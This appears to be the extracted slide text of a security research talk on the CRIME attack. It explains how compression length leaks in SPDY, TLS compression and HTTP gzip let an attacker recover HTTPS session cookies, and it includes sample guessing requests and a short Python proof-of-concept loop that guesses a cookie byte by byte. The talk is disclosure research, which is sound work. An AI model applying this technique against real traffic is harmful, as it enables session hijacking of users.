The CRIME attack
HTTPS:// Secure HTTP
HTTPS provides:
CRIME decrypts HTTPS traffic to steal cookies and hijack sessions.
How can you become a victim of CRIME?
How can you become a victim of CRIME?
CRIME injection
C in CRIME is compression
Compression is everywhere
DEFLATE
DEFLATE: LZ77
DEFLATE: Huffman coding
R in CRIME is ratio
I in CRIME is info-leak
CRIME algorithm
GET /twid=a
Host: twitter.com
User-Agent: Chrome
Cookie: twid=secret
...
GET /twid=s
Host: twitter.com
User-Agent: Chrome
Cookie: twid=secret
CRIME in a slide
ME in CRIME is mass exploitation
ME in CRIME is also made easy
CRIME is the new BEAST
So length is leaked
First attack: Two Tries
Two Tries: length difference
Two Tries
GET /ABCDEFtwid=s<padding>Cookie: twid=secret
GET /twid=sABCDEF<padding>Cookie: twid=secret
Two Tries
SPDY
SPDY
Compression in SPDY
CRIME for SPDY
CRIME for SPDY
CRIME for SPDY
GET /aatwid=a HTTP/1.1\r\n
Host: twitter.com\r\n
User-Agent: Chrome\r\n
Cookie: twid=secret\r\n
GET /bbtwid=b HTTP/1.1\r\n
Host: twitter.com\r\n
User-Agent: Chrome\r\n
Cookie: twid=secret\r\n
(-84, 5)aa(-20, 5)a(-84, 71)
(-84, 5)bb(-20, 5)b(-84, 71)
CRIME for SPDY
GET /rrtwid=r HTTP/1.1\r\n
Host: twitter.com\r\n
User-Agent: Chrome\r\n
Cookie: twid=secret\r\n
GET /sstwid=s HTTP/1.1\r\n
Host: twitter.com\r\n
User-Agent: Chrome\r\n
Cookie: twid=secret\r\n
(-84, 5)rr(-20, 5)r(-84, 71)
(-84, 5)ss(-20, 6)(-84, 71)
CRIME for SPDY
CRIME for SPDY
Compression in TLS
CRIME for TLS Compression: 16K-1
16K-1
16K-1 POC
def next_byte(cookie, known, alphabet=BASE64):
candidates = list(alphabet)
while len(candidates) != 1:
url = random_16K_url(known)
record_lens = query(url)
length = record_lens[0]
record = "GET /%s%s%s" (url, REQ, known)
good = []
for c in candidates:
if len(compress(record + c)) == length:
good.append(c)
candidates = good
return candidates[0]
CRIME for TLS Compression
CRIME for TLS Compression
HTTP response gzip compression
CRIME for HTTP gzip
"We believe"
Thanks
Related work
Questions?
https://twitter.com/julianor or thaidn@gmail.com